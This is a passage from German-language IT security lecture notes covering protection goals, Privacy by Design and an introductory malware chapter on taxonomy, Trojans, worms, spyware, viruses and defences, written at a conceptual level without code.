ist es nur autorisierten Anwendern oder Prozessen möglich, die Daten zu verändern.
Im Falle einer elektronischen Signatur berechnet man diese über die zu schützenden
Daten und kann so später die Unverändertheit der Daten prüfen.
Authentizität
Authentizität bedeutet, dass der Urheber einer Information bekannt ist. Man sagt
dazu auch Echtheit des Absenders oder der Information. Authentizität wird durch
ein geeignetes Authentifikationsverfahren erreicht. Die Kryptographie stellt dazu wie
schon bei der Integrität die Basistechnik elektronische Signatur bereit. Im Kontext
von E-Mails ist Authentizität des Absenders ein wichtiges Instrument zur Vermeidung
von Phishing-Angriffen.
In Bezug auf den Nachweis einer Identität kommen oft so genannte User Credentials zum Einsatz. Wichtige Beispiele für Credentials sind die Kombination aus
Benutzername und Passwort oder biometrische Charakteristika (wie zum Beispiel
2
8
http://www.gaijin.at/dlsteg.php
2.2 Schutzziele
Fingerabdruck, Iris). Auf biometrische Authentifikationsverfahren gehen wir im Detail
im Kapitel zur Biometrie ein.
Zurechenbarkeit
Das Schutzziel der Zurechenbarkeit, die auch Verbindlichkeit, Nicht-Abstreitbarkeit
oder Nachweisbarkeit genannt wird, beschreibt die Eigenschaft, dass es nicht möglich
ist, eine Aktion gegenüber unbeteiligten Dritten abzustreiten. Die unbeteiligte Instanz
kann z.B. ein Richter sein.
So kann z.B. durch Authentifizierung eines Nutzers (unter Verwendung eines biometrischen Merkmals oder eines individuell diesem Nutzer zugeordneten Geheimnisses)
und einer entsprechenden Protokollierung nachgewiesen werden, welche Person zu
welchem Zeitpunkt auf ein System zugegriffen hat. Ein Dokument kann beispielsweise
mit einer klassischen Unterschrift oder elektronischen Signatur versehen werden.
Denken Sie für ein alltägliches Beispiel an einen klassischen Vertrag, bei welchem die
Verbindlichkeit mit der Unterschrift beider Parteien eintritt.
Aus Nicht-Abstreitbarkeit einer Information folgt immer auch Integrität und
Authentizität dieser Information und ist somit der stärkere Begriff. Die Umkehrung
gilt nicht immer – es gibt kryptographische Verfahren, die zwar Integrität und
Authentizität einer Information gewährleisten, nicht aber Beweisbarkeit (z.B. ein
Message Authentication Code, siehe auch im Abschnitt zu Kryptographie.
Verfügbarkeit
Unter Verfügbarkeit einer Ressource (d.h. einer Information, eines IT-Systems) versteht man die Eigenschaft, dass es einem autorisierten Subjekt möglich ist, die
Funktionalität der Ressource zu nutzen, wenn diese benötigt wird. Verfügbarkeit
beschreibt daher den Schutz vor mutwilliger oder zufälliger Beeinträchtigung der
Nutzung eines Systems oder einer Information.
Als Beispiel betrachten wir ein Online-Banking-Portal oder einen Webshop. Im
ersten Fall ist es für einen Kunden ärgerlich, wenn dieser keinen Zugriff auf die
Funktionalität des Systems erhält, obwohl er dringend eine Überweisung zur Wahrung
einer Frist einhalten müsste. Auch für die Online-Bank hat dies Konsequenzen, da
dies nicht nur zusätzlichen Arbeitsaufwand bedeutet, um das Problem einzugrenzen
und zu beheben, sondern hieraus ggf. ein Imageschaden entstehen kann.
Weitaus schwerwiegendere Folgen hätte dies für einen Händler, der seine Waren
ausschließlich über das Internet vertreibt. Eine eingeschränkte Verfügbarkeit des
Webservers bedeutet für diesen einen enormen wirtschaftlichen Schaden. Ein Angreifer
könnte sich dies beispielsweise in Form von Erpressung zu nutze machen, indem er
den Server mit Hilfe einer Denial of Service Attacke überflutet.
Anonymisierung und Pseudonymisierung
Wie wir bereits im Zuge der Definition der Vertraulichkeit festgestellt haben, können
wir die Anonymität eines Subjekts ebenfalls als Schutzziel definieren.
9
2 Grundbegriffe
Anonymität beschreibt die Eigenschaft, dass es nicht oder nur mit unverhältnismäßig großem Aufwand möglich ist, die Identität eines Subjekts zu bestimmen. Zu
beachten ist dabei, dass es Anonymität nur in einer hinreichenden großen Menge von Subjekten geben kann. Ein bedeutendes Netzwerk zur Gewährleistung von
Anonymität ist Tor (The Onion Routing3 ). Die Idee von Tor ist, durch mehrere
nicht-kooperierende Zwischenknoten (so genannte Proxies) die Anonymität des anfragenden Tor-Nutzers (z.B. ein Browser) gegenüber dem angefragten Dienst (z.B. eine
Webseite) zu anonymisieren. Oft kommen drei Proxies zum Einsatz.
Unter Pseudonymität hingegen versteht man das Verändern einer Identität anhand
einer Zuordnungsvorschrift, die die echte Identität auf ein zugehöriges Pseudonym abbildet. Kommunikationspartner sehen nur das Pseudonym. Die Zuordnungsvorschrift
soll nur für die vergebende Instanz der Pseudonyme umkehrbar sein, d.h. die wahre
Identität ist aus dem Pseudonym nur mit dem Wissen der Zuordnungsvorschrift
bestimmbar. Gängige Verwendung von einfachen Pseudonymen sind beispielsweise
Aliase in Foren, Chaträumen oder bei Webdiensten wie Ebay.
2.3 Privacy by Design
Hinter dem Begriff Privacy by Design versteht man ein Konzept des Datenschutz, um
den Auswirkungen, insbesondere den Gefahren für die Privatssphäre eines Einzelnen,
von Informations- und Kommunikationstechnologien zu begegnen.
Privacy by Design wurde in den 90er Jahren von Ann Cavoukian in Ihrer Rolle als
Information & Privacy Commissioner der Kanadischen Provinz Ontario entwickelt
und vertritt die Auffassung, dass die Einhaltung von Rechtsvorschriften für den
Datenschutz allein nicht mehr ausreichend ist. Vielmehr sollte der Datenschutz
allumfassender betrachtet werden und IT-Systeme, Geschäftspraktiken sowie das
physikalische Design und vernetzte Infrastrukturen adressieren.
Neben der Gewährleistung des Datenschutz ist die persönliche Kontrolle über die
eigenen Daten ein weiteres Ziel von Privacy by Design. Dieses Ziel soll durch die
Anwendung der folgenden 7 Grundprinzipien erreicht werden:
1. Proaktiv, nicht reaktiv; als Vorbeugung und nicht als Abhilfe
Der Privacy by Design Ansatz sieht mögliche Verletzungen der Privatssphäre
voraus und verhindert sie, bevor sie gesehen könnten.
2. Datenschutz als Standardeinstellung
Ein IT-System bietet systemimmanent als Standardeinstellung den Schutz der
Privatsphäre und personenbezogener Daten.
3. Der Datenschutz ist in das Design eingebettet
Zur Entwurfsphase eines IT-Systems, einer Software oder eines Geschäftspraktik
wird der Datenschutz bereits berücksichtigt.
3
https://www.torproject.org/
10
2.3 Privacy by Design
4. Volle Funktionalität - eine Positivsumme, keine Nullsumme
Hiermit wird verstanden, dass sowohl Datenschutz als auch Sicherheit in einem
System gleichzeitig realisiert werden können und nicht nur das eine auf die
Kosten des anderen umgesetzt werden kann. Die Umsetzung von Sicherheit und
Datenschutz bringt alle Vorteile für alle Beteiligten (eine Positivsumme).
5. Durchgängige Sicherheit - Schutz während des gesamten Lebenszyklus
Personenbezogene Daten sind von der Erfassung bis zur Vernichtung im gesamten Lebens- und Verarbeitungszyklus innerhalb einer Software bzw. eines
IT-Systems mittels starker Sicherheitsmaßnahmen geschützt.
6. Sichtbarkeit und Transparenz - Für Offenheit sorgen
Komponenten und Verfahren eines IT-Systems können unabhängigen Prüfungen
unterzogen werden. Sie sind einsehbar und für alle Beteiligten (Nutzer und
Anbieter) transparent.
7. Die Wahrung der Privatsphäre der Nutzer - Für eine nutzerzentrierte Gestaltung
sorgen
Betreiber und Architekten von IT-Systemen stellen den Nutzer und seine
Interessen bzgl. personenbezogener Daten und Privatsphäre in den Mittelpunkt.
Voreinstellungen sind datenschutz- und benutzerfreundlich. Darüber hinaus
bieten IT-Systeme angemessene Benachrichtigungen bzgl. personenbezogener
Daten an.
Als weiteres Ziel resultiert hieraus ein nachhaltiger Wettbewerbsvorteil für Organisationen, sofern die Nutzer diesen Ansatz honorieren.
11
3 Malware
Im vorliegenden Kapitel wird in die verwirrende Welt der Malware – ein Begriff, der
sich einer sauberen Definition widersetzt – eingeführt. Nicht etwa, um zu lernen, wie
man Malware produziert, sondern um zu lernen, mit welchem Gegnern wir zu tun
haben, wenn wir als Informatikerinnen und Informatiker versuchen, sichere Systeme
zu bauen und zu betreiben.
Begriffe wie Virus, Trojaner, Backdoors und Rootkits werden eingeführt und
unterschieden. Geeignete Gegenmaßnahmen — so weit vorhanden — werden auch
beschrieben. Die Komplikationen, die virtuelle Maschinen im Bezug auf Malware
verursachen, werden kurz umrissen.
3.1 Über die Unmöglichkeit, das Wort Malware zu
definieren
Gerne würden wir an dieser Stelle zuerst den Begriff „Malware“ definieren. Nur
„Malware“ lässt keine einfache Definition zu — genauer gesagt, keine Definition, mit
der wir hier zufrieden sein können.
3.1.1 Das Wort Malware
Das Wort „Malware“ lässt sich relativ leicht erklären: es ist zuerst ein Wortspiel auf
„Software“ und „Hardware“.1 Dazu kommt das Präfix „Mal“, das vom englischen
„malicious“, in Deutsch „bösartig“ stammt. Also ist Malware bösartige Software oder
Hardware (oder eine bösartige Kombination von Soft- und Hardware).
Für viele Zwecke reicht diese Definition völlig aus. Zum Beispiel vor Gericht: In der
Rechtsprechungen manchen Orten wird einfach von „Computer-Verunreinigungen“
gesprochen,2 .
Diese Definition hat allerdings für unsere Zwecke in dieser Lehrveranstaltung
folgende gravierende Probleme:
Es ist nicht immer der Fall, dass Malware „bösartig“ ist bzw. eine „Verunreinigung“
darstellt. Zum Beispiel wurde schon Malware programmiert, die Systeme gegen andere
Malware schützen sollte, statt sie anzugreifen (sehe z.B. [Nar03]).
1
Wie das Wort „Software“ als Wortspiel auf „Hardware“ erst in den 1950’er Jahren verwendet
wurde. Vgl. [Nor14].
2
Genauer gesagt, wird in manchen US-Bundesländer vom „Computer Contanimants“ gesprochen.
Vgl. [SL14]
13
3 Malware
Also kann Malware sowohl mit wohlwollenden als auch mit bösen Absicht konstruiert werden. Manchmal ist die Absicht einer Malware unklar oder umstritten.
Zum Beispiel hat die Firma Sony BMG zwischen 2005 und 2007 eine Malware in
Musik-CDs eingebaut [Sch05][Wik14]. Die Firma Sony BMG hat natürlich bestritten,
dass diese Software „bösartig“ war. Während die Gerichte sich über Jahren hinweg
mit der Frage beschäftigten, ob die Software bösartig im Sinne des Gesetzes war,
dürfte es jeder Informatikerin und jedem Informatiker von Anfang klar gewesen sein,
dass hier eine Malware vorlag.
Hier sehen wir das richtige Problem mit dieser Definition für uns: Sie führt unausweichlich zu Fragen wie: „Mit welcher Absicht wurde eine Soft- bzw. Hardware
gebaut?“ oder: „War die Installation einer Soft- bzw. Hardware erlaubt?“. Das sind
Fragen für Psychologen bzw. Rechtsanwälte; Wir interessieren uns für die technischen Einzelheiten von Malware — Eigenschaften, die uns helfen sollen, Malware zu
verstehen, zu erkennen und hoffentlich abzuwehren.
Es gibt noch eine Schwierigkeit bei jeder versuchten Definition von Malware: Auch
wenn eine solche Definition vorläge, die adäquat alle vorliegende Malware bis heute
beschriebe, wären die Autorinnen und Autoren von Malware nicht verpflichtet, sich
in Zukunft weiter daran zu halten. Im Gegenteil, wenn wir unsere Aufmerksamkeit
mittels einer Definition auf Soft-/Hardware mit gewissen Eigenschaften richten, die
wir für Malware als definierend betrachten, haben die Urheberinnen und Urheber
von Malware eine Motivation, Malware außerhalb unseres abgesteckten Bereichs zu
erfinden. Malware wurde schon immer dort gebaut, wo sie noch nie gesucht wurde.
Übung: Versuchen Sie selbst, eine Definition von Malware für Informatikerinnen
und Informatiker aufzuschreiben. Sie wollen eine möglichst kurze Liste von Kriterien
festlegen, die sowohl ausreichend als notwendig sind. Prüfen Sie beim Lesen vom
Rest dieses Kapitels, ob Ihre Definition wirklich alle Malware, und nur Malware,
beschreibt — und revidieren Sie Ihre Definition wo notwendig.
3.1.2 Was ist ein sauberes System?
Trotzdem brauchen wir etwas, das den Inhalt dieses Kapitels einschränkt und strukturiert. Dafür ist es hilfreich, einmal in Erinnerung zu rufen, was alles zu einem
Malware-freien IT-System gehört. Wenn wir Malware nicht ohne weiteres definieren
können, können wir vielleicht definieren, was nicht Malware ist.
Natürlich kann man sehr viel darüber sagen: Es gibt andere Lehrveranstaltungen,
die sich nur mit Fragen wie „Was ist ein Betriebssystem?“ oder „Welche Rechnerarchitekturen gibt es?“ beschäftigen. Wir wollen hier im Moment nur verschiedene
Gegenstände in Erinnerung rufen, die bei jedem modernen Computer bzw. IT-System
vorhanden sind:
Programm: Jedes (programmierbare) System führt Programme aus. Also muss es
mindestens ein Programm geben – meistens erwarten wir mehrere Programme.
14
3.1 Über die Unmöglichkeit, das Wort Malware zu definieren
Was ist jedoch ein Programm? Ein Programm besteht für unsere Zwecke aus
einer Menge von Befehlen und Daten.
Befehle: Ein- und Ausgabe, mathematische Operationen, logische Operationen,
Speicheroperationen, usw. usf.,
Daten: Namen, Zahlen, Textpassagen, u.U. Bilder oder andere Medien, die, wie die
Befehle, alle auf einem Speichermedium gespeichert werden müssen, um nach
Bedarf verwendet zu werden, wenn ein Programm ausgeführt wird.
Prozesse: Wenn ein Programm läuft, sprechen wir von einem Prozess. Während
ein Programm auch existiert, wenn es nicht ausgeführt wird, existiert ein
Prozess nur, so lange das Programm ausgeführt wird – wobei ein Prozess auch
angehalten bzw. unterbrochen werden kann. Zu einem Prozess gehören sowohl
alle Speicherbereiche, die dem Prozess zugeteilt werden, als auch die Menge
Zeit, die der Prozess vom Scheduler bekommt. In der Regel hat jeder Prozess
in seinem Speicherbereich eine Kopie seines Programmes, d. h. alle Befehle,
die ausgeführt werden sollten, und alle Daten, die vorab mit dem Programm
gespeichert wurden (alles, also, das der Compiler gebaut hat). Dazu kommen
vielen Daten, die zur Laufzeit erst in den Speicher geschrieben wurden.
Betriebssystem: Ein Sonderfall ist das Betriebssystem. Es ist das erste Programm,
das ausgeführt wird, wenn ein Rechner hochgefahren wird, und sollten andere
Programme zusätzlich auch ausgeführt werden, ist das Betriebssystem dafür
zuständig, diese neue Prozesse zu ermöglichen. Das Betriebssystem beinhaltet
infolgedessen den Scheduler, der entscheidet, welche Prozesse ausgeführt werden,
welche unterbrochen werden, usw. In manchen eingebetteten Systemen gibt es
nur ein Betriebssystem, jedoch in fast allen interessanten Systemen, schafft das
Betriebssystem alles, was notwendig ist, sodass verschiedene Prozesse existieren
können.
Ein paar Worte sollten wir hier zu dem Umfeld des Systems verlieren: Jedes System
wird von Menschen umgeben.
Zum Beispiel gibt es die Benutzer: Wir können hier davon aus, dass jedes System
für jemanden geschaffen wurde und für jemand arbeitet. Manchmal schaut der
Benutzer nur selten vorbei, um zu sehen, ob das System noch läuft, meistens ist
jedoch die Interaktion zwischen Mensch und Maschine wesentlich intensiver. Trotzdem
darf man nicht annehmen, dass alles, das ein System macht, nur dann gemacht wird,
wenn ein Benutzer es möchte; Vieles passiert ohne, dass ein Benutzer es wahrnimmt
oder veranlasst hat.
Es gibt auch Betreuer und Besitzer: Oft ist der Benutzer auch Besitzer und
Betreuer seines Systems, aber nicht immer: Wenn wir Firmen-Rechner (wie z.B.
Web-Server) betrachten, kann der Besitzer eine Firma sein, die wiederum SystemBetreuer (sog. System-Administratoren bzw. SysAdmins) einstellt, die das System für
Kunden-Benutzer aufrecht halten. Der Unterschied zwischen Benutzer, Betreuer und
15
3 Malware
Besitzer ist wichtig, wenn wir feststellen wollen, ob das System etwas „Erlaubtes“
oder etwas „Unerlaubtes“ tut. Allerdings können wir meistens davon ausgehen, dass
die Begriffe „erlaubt“ und „unerlaubt“ ohne nähere Erläuterung für unsere Zwecken
klar verständlich sind.
Fazit: Ein sauberes System besteht aus einem Betriebssystem und (i.d.R.) einer
Menge Prozesse. Diese wiederum beinhalten im Speicher deren Befehlen und Daten.
Also ist alles in Ordnung, solange alle diese Komponenten gutartig sind, erlaubt
bzw. erwünscht sind, und Dienste leisten für die Menschen (Benutzer, Betreuer und
Besitzer), die zu dem System gehören.
Wenn ein Programm vom System ausgeführt wird, das unerlaubt oder unerwünscht
ist, können wir also von Malware sprechen. Genauer genommen, können wir davon
sprechen, sobald unerwünschte Ketten von Befehle ausgeführt werden. Gleichermaßen
können wir von Malware sprechen, wenn die Daten eines Systems kompromittiert
werden, wenn Daten geändert, gelöscht oder irgendwie nicht mehr zur Verfügung
stehen, wenn wir sie brauchen.
Nicht vorsätzliche Handlungen sind keine Malware Allerdings reden wir normalerwise nicht von Malware, solange kein Vorsatz dahiner sich verbirt. Im Absatz 2.1
werden fünf Klassen von Gefährdungsfaktoren für die Sicherheit von IT-Systemen
beschrieben. Nochmals, zur Erinnerung:
1. Höhere Gewalt
2. Vorsätzliche Handlungen
3. Technische Fehler
4. Fahrlässigkeit
5. Organisatorische Mängel
Von den fünf Gefährdungsfaktoren kommt Malware lediglich beim Faktor 2 („Vorsätzliche Handlungen“) vor. Das heißt, dass weder höhere Gewalt noch irgendwelche
Fehler, Mängel oder Fahrlässigkeiten als Malware gelten. Also können wir alle Gefahren aus diesen Kategorien als uninteressant für dieses Kapitel betrachten.
Ein Wort der Warnung: Nur weil diese Gefahren nicht als Malware gelten, heißt
nicht, dass Sie nicht wichtig sind. Wahrscheinlich verursachen sie jedes Jahr mehr
Schaden als Malware — obwohl das nicht mehr so klar ist, wie es einmal gewesen ist
(vgl. [Sch14], jedoch auch [hei14]).
Wie das auch sein mag; wir wollen den Fokus für dieses Kapitel einschränken. Also
werden in diesem Kapitel nur vorsätzliche Handlungen betrachtet.
3.2 Eine Taxonomie für Malware
Die Malware-Forscherin Joanna Rutkowska hat sich die Fragen gestellt, ob die ganze
Vielfalt vom Malware kategorisiert werden kann, wie Lebewesen in einer Taxonomie
16
3.2 Eine Taxonomie für Malware
(wo man zwischen Tieren und Pflanzen, und danach zwischen Reptilien und Säugetiere
usw. unterscheidet). Genauer gesagt, stellte sie die Frage: Wenn wir nach Malware
suchen wollen, wo sollen wir suchen? Wo kann Malware vorkommen? Noch weiter:
Rutkowska stellte die Frage, wann bzw. ob es möglich ist, sicher festzustellen, dass
Malware nicht vorhanden ist. Sie ging der Möglichkeit von verifizierbare Systemen
nach. Dabei kam sie auf vier Kategorien, die sie einfach Klasse 0, 1, 2 und 3 nannte.
Vgl. Abbildung 3.1.
Die Klassen werden an Hand von zwei grundlegenden Fragen definiert:
1. Ist die Malware in einem kritischen Bereich des Systems oder in einem Bereich,
der als nicht kritisch betrachtet wird?
2. Ist die Malware in einem Bereich, der sich selten ändert, oder in einem Bereich,
der ständig geändert wird?
Damit kommen wir auf folgende vier Möglichkeiten:
Klasse 0: Die Malware ändert keinen kritischen Teil des Systems.
Diese Klasse betrachten wir weiter im Absatz 3.3, unten.
Klasse 1: Die Malware ändert einen kritischen Teil des Systems, der (so gut wie) nie
geändert werden sollte.
Klasse 2: Die Malware ändert einen kritischen Teil des Systems, der ständig geändert
werden darf.
Diese Klasse beinhaltet, laut Rutkowska, „nur“ theoretische Angriffe, die zwar
möglich sind, jedoch (noch) nicht beobachtet werden. Diese Klasse wird in
diesem Kapitel nicht weiter betrachtet.
Klasse 3: Überhaupt nicht im System.
Ursprünglich dachte Rotkowska, dass diese Klasse nur eine logische Möglichkeit
wäre. Danach ist ihr eingefallen, wie Malware außerhalb eines System residieren
könnte, und es trotzdem kompromittieren könnte — und sie zeigte, dass es
nicht nur theoretisch möglich ist, sondern, dass eine solche Malware gebaut
werden könnte – indem sie eine solche Malware baute. S. [Rut06]
Bemerkung: Diese Kategorien schließen einander nicht unbedingt gegenseitig aus;
gemischte Formen sind möglich.
17
3 Malware
Klasse 0:
Klasse 1:
Klasse 2:
Klasse 3
Abbildung 3.1: Malware Klassen nach J. Rutkowska. Quelle: [Rut06]
18
3.3 Malware Klasse 0
Malware in Klasse 0 ändert keinen kritischen Teil des Systems. Allerdings sind die
häufigsten Arten von Malware in dieser Klasse zu finden. Hier sind die Trojaner und
Viren zu Hause.
Wir können die Kriterien von Rutkowska hier weiter verwenden, um die verschiedenen Arten Malware in dieser Klasse zu unterscheiden:
Trojaner ändern weder Teile des Systems, die so gut wie nie geändert werden,
noch Teile, die oft geändert werden; Sie sind schlicht und ergreifend neue
Anwendungen, die ein Benutzer ausführt (in der Regel ohne zu wissen, dass er
gerade eine Malware zum Leben erweckt).
Viren ändern nicht kritischen Teile des Systems, die so gut wie nie geändert werden;
sie modifizieren existierende Anwendungen, und warten, bis diese Anwendung
ausgeführt wird.
Giftige Eingabe ist eine Art Angriff, die Fehler („Bugs“) ausnützt, wobei nicht
kritische Teile des Systems geändert werden, die sich ständig ändern. Das macht
die Änderungen sehr schwer festzustellen.
Jede dieser Arten von Klasse 0 Malware wird einzeln unten betrachtet.
3.3.1 Trojaner
Trojaner3 sind einfach Programme, auch Anwendungen oder „Apps“ genannt. Technisch gesehen, sind sie als solches nicht besonders beängstigend. Sie sind relativ leicht
zu finden, da sie i.d.R. überall gleich „aussehen“.
Obwohl, oder eigentlich gerade weil Trojaner die einfachste Art von Malware
sind, kommen sie vergleichsweise oft vor. Laut einer Studie sind sie für 4 von 5
Malware-Infektionen verantwortlich [Pan14]. Vgl. Abbildung 3.4. Sie sind für Angreifer
besonders leicht zu bauen. Die Herausforderung dabei ist es, den Benutzer eines
Systems dazu zu bringen, ein Schadprogramm überhaupt zum Laufen zu bringen.
Social Engineering An dieser Stelle ist der Begriff „Social Engineering“ besonders
wichtig: Er beschreibt keine richtige Ingenieurwissenschaft, sondern die Gesamtheit
der Tricks, die ein Angreifer verwenden kann, um seine Opfer auszutricksen. „Social
Engineering“ wird nicht nur verwendet, um Trojaner in Umlauf zu bringen. Unter
„Social Engineering“ fällt auch zum Beispiel Phishing – Web-Seiten oder Emails,
die so aussehen, als ob sie von einer Bank stammen, die Menschen auffordern, ihre
Online-Banking Passwörter Preis zu geben.
3
Die Name „Trojaner“ stammt von der Geschichte vom trojanischen Pferd, auch eine Art „Geschenk“, die man besser nicht im Haus hätte lassen sollen. Allerdings waren die Trojaner nicht
die Angreifer, sondern die Opfer des Angriffes.
19
3 Malware
Abbildung 3.2: Im ersten Jahresviertel 2014 waren Trojaner verantwortlich für 4 von
5 Malware-Infektionen Quelle: [Pan14], S. 4.
„Social Engineering“ ist allerdings für die Verbreitung von Trojanen besonders
wichtig, und soll deswegen hier kurz beschrieben werden. Angreifer können zum
Beispiel USB-Speicher oder CDs an Orten liegen lassen wo System-Benutzer sie
finden werden, und sicher sein, dass manche Benutzer diese „Geschenke“ mit ihren
Systemen verbinden werden. Danach wird bei vielen Desktop-Systemen sogenannte
„Auto-run“ Software ausgeführt.
Hat ein Angreifer einmal Zugriff auf ein System bekommen, gibt es danach viele
Methoden, Trojaner so zu verstecken, dass auch vorsichtige Benutzer sie ausführen
werden. Eine Ikone auf dem Desktop (oder in einem anderen Ordner), die aussieht
wie ein Dokument, wird irgendwann dadurch geöffnet, in dem man darauf „klickt“. So
werden allerdings auch Programme gestartet – und es ist relativ leicht, ein Programm
einer beliebige Ikone zuzuordnen, auch der Ikone eines Dokuments.
Email und das World Wide Web haben viele neue Möglichkeiten für Social Engineering geöffnet. Email-Anhänge werden oft ohne besondere Vorsicht geöffnet; genau
wie bei der Ikone auf dem Desktop können hierbei unbeabsichtigt Trojaner ausgeführt
werden. Web-Seiten können Benutzer dazu bringen, Trojaner herunterzuladen und
unter Umständen auszuführen; man spricht von „Drive-by Downloads“ (in Anlehnung
an „Drive-by Shootings“)
Auswirkungen von Trojanen: Welche Schaden kann ein Trojaner verursachen? Die
Antwort hierzu ist gleich der Antwort auf die Frage „Was können Benutzer mit
normalen Anwendungen machen“?
Wenn ein System erlaubt, dass Anwendungen Emails verschicken dürfen, dann
können wahrscheinlich auch Trojaner Emails verschicken (Schlagwort: Spam). Wenn
Anwendungen Internet-Verbindungen öffnen dürfen, können Trojaner das auch, und
auch andere Rechner im Netz mit Verbindungen überfluten, das heißt, Denial-ofService-Angriffe starten. Dateien können verschlüsselt werden, und erst nach Bezahlung eines Lösegelds wieder „frei“ gegeben werden. Oder noch einfacher: Wichtige
20
Daten können gelöscht werden, wenn der Angreifer einfach Schaden verursachen
möchte.
Die Auswirkungen von Trojanen sind also vielfältig, jedoch nicht unbegrenzt. Ein
Benutzer ohne Administrator-Rechte darf auf den meisten Systemen nicht alles
machen; daher dürfen Trojaner, die er unabsichtlich ausführt, auch nicht alles. Ein
Trojaner kann zum Beispiel nur Dateien löschen, die sein „Benutzer“ auch löschen
darf.
Das wird für die meisten Benutzer nicht besonders hilfreich erscheinen — es bleiben
mehr als ausreichend Möglichkeiten für verheerenden Schaden — jedoch für SystemAdministratoren und für die Entwickler von Systemen ist es wichtig zu wissen, dass
besonders kritische Teilen eines Systems geschützt werden können, indem sie vom
„normalen“ Benutzer geschützt sind. (Siehe jedoch die anderen Klassen von Malware,
unten).
Besondere Trojaner: Wurmer und Spy-Ware Wenn normale Anwendungen Dateien — zum Beispiel über ein Netzwerk — zu anderen Rechner senden dürfen, können
Trojaner Kopien von sich selbst auf anderen Rechner platzieren, und damit sich
selbst vervielfachen bzw. verbreiten. Dann spricht man nicht mehr nur von einem
Trojaner, sondern von einem Computer-Wurm (oder einfach von einem „Wurm“).
Umgekehrt: Ein Wurm ist ein Trojaner, der Kopien von sich selbst macht und sich
damit von einem Computer zu anderen Computer verbreiten kann.
Anwendungen können oft Benutzer beobachten. Zum Beispiel können Anwendungen
unter Umständen festhalten, was in die Tastatur getippt wird. Besonders BrowserPlugins dürfen Benutzer beim Web-Surfing verfolgen. Malware — in der Regel
Trojaner — die Menschen beim Benutzen von Computer ausspähen und danach die
dadurch gesammelten Beobachtungen an andere Menschen kommunizieren, werden
Spyware genannt.
Hier sehen wir, warum die Grenzen der Kategorien und Begrifflichkeiten bei Malware
nie ganz sauber gezogen werden können. Spyware wird an Hand ihrer Tätigkeit
definiert; sie muss kein Trojaner sein (auch Viren können Benutzer ausspähen).
Dasselbe gilt für Würmer. Sie werden durch Ihre Fähigkeit, von einem Rechner zum
anderen zu springen, definiert und müssen kein Trojaner sein. Die Trennung zwischen
Trojaner, Würmern und Viren ist infolgedessen nicht immer klar.
Außerdem sind die Menschen, die Malware bauen, nicht verpflichtet, sich an unsere
Definitionen zu halten. Im Gegenteil, es kann für sie sehr nützlich sein, Techniken
von verschiedenen Arten von Malware zu kombinieren.
Für unsere Zwecke in diesem Kapitel ist es trotzdem nützlich festzuhalten, dass
Trojaner (ob Wurmer, Spyware oder „einfache“ Trojaner) keine existierenden Dateien
oder Daten an einem System ändern. Trojaner sind neue Dateien (bzw. Plug-Ins oder
anderen Daten), die irgendwie in ein System importiert werden.
Abwehr von Trojaner: Eine Möglichkeit, Systeme vor Trojanen zu schützen, besteht
darin, die Rechte auf Installation von Software zu beschränken. Wenn einem Benutzer
21
3 Malware
die Installation von Anwendungen erschwert wird, wird auch die Installation von
Trojaner erschwert.
Dass solche Maßnahmen die tagtägliche Arbeit auch erschweren können, liegt leider
auf der Hand. Außerdem wird die Verbreitung von Trojaner dadurch erschwert, jedoch
nicht gestoppt; Trojaner können auch in Form von sogenannten Plug-Ins für Browser
oder Office-Anwendungen, um nur zwei Beispiele zu nennen, gebaut werden. Jede Art
Datei bzw. Daten, die ausgeführt werden, kann verwendet werden, um Trojaner zu
bauen. Trotzdem gehören sie zur Ausstattung eines modernen Rechners und haben
ihre Existenz-Berechtigung.
Trotzdem können wir festhalten, dass die vorsichtige Vergabe von Rechten und
Privilegien von elementarer Bedeutung für die System-Sicherheit ist. Hier muss
natürlich vorsichtig abgewogen werden. Wenn die Rechte zu restriktiv gehandelt
werden, kann die beabsichtigte Benutzung des Systems erschwert werden; werden die
Rechte zu großzügig gehandhabt, sind kritische Teilen des Systems nicht mehr oder
nicht ausreichend geschützt.
Eine andere Methode, ein System gegen Trojaner zu schützen, ist zu verlangen,
dass neue Software unterzeichnet wird. Dadurch können Benutzer manche Software
selber installieren, andere Software aber nicht. Für mehr Information zu digitalen
Unterschriften, s. Kapitel 4. Diese Methode setzt ein gut funktionierendes KeyManagement-System voraus; Die Unterschriften sind nur so vertrauenswürdig, wie
die Schlüssel, womit sie geprüft werden.
Noch eine Antwort auf Trojaner: Herkömmliche Antivirus-Anwendungen suchen
nicht nur nach Viren, trotz ihrsn Namens, sondern i. d. R. auch nach Trojanen. Solche
Anwendungen können nicht nur die Installation von schon bekannten Trojanen
verhindern, sie können auch Trojaner, die doch irgendwie installiert wurden, vielleicht
bevor sie bekannt waren, nachträglich finden und entfernen. Beim Schutz gegen
Würmer kommt herkömmliche Firewall-Software (bzw. -Hardware) dazu, die Würmern
die Benutzung des Netzwerks erschweren kann.
3.3.2 Viren
Obwohl sie relativ selten im Vergleich mit Trojaner sind (s.o.), üben Computer-Viren
eine gewisse Faszination auf (nicht nur) Informatikerinnen und Informatiker aus.
Vielleicht ist es die Ähnlichkeit mit „echten“, also biologischen Viren, die die Menschen
fasziniert.
Kurz definiert, ein Computer-Virus ist eine Malware, die sich selbst fortpflanzt,
und zwar durch Modifizierung von schon vorhandene Teilen eines Systems. In der
Regel werden vorhandene Programme geändert, um das Virus zu beherbergen. Bei
der nächsten Verwendung dieser „infizierten“ Programme wird das Virus ausgeführt,
und kann nach anderen Programmen suchen, die so geändert werden können.
Vergleich mit biologischen Viren Biologischen Viren sind DNS Sequenzen, die in
„gesunde“ Zellen eingeschmuggelt werden. Wenn die DNS danach kopiert wird, wird
das Virus auch kopiert.
22
Computer-Viren und biologische Viren haben folgende Ähnlichkeiten:
• Alleine sind sie nicht überlebensfähig; sie müssen in ein „Host“ Programm
eingeschleust werden.
• Sie können sich vervielfachen.
• Sie springen von Host zu Host (Infektion). Dabei sind die Hosts für ComputerViren Programme.
• Sie verbreiten sich passiv, nicht aktiv; sie warten, bis der Host aktiv wird (die
Zelle teilt sich bzw. das Programm läuft).
Wenn ein Virus einmal in einem System ist, kann es sich selbst fortpflanzen.
Natürlich muss das Virus es zuerst schaffen, das erste Programm in einem System
zu infizieren. Hierzu werden andere Techniken, i. d. R. irgendwelche Formen vom
Trojaner, verwendet. Ein Programm, das ein Virus in einem noch nicht infiziertes
System bringt, nennt man „Dropper“.
Funktionsweise von Viren Fast jedes Virus führt folgende Schritte aus:
1. Es findet ausführbare Dateien,
2. Es infiziert sie,
3. Es führt sein „Payload“ aus,
4. Es führt seinen Wirt aus.
Hierbei kann das „Payload“ fast jede Aktivität sein, die der Erschaffer des Virus
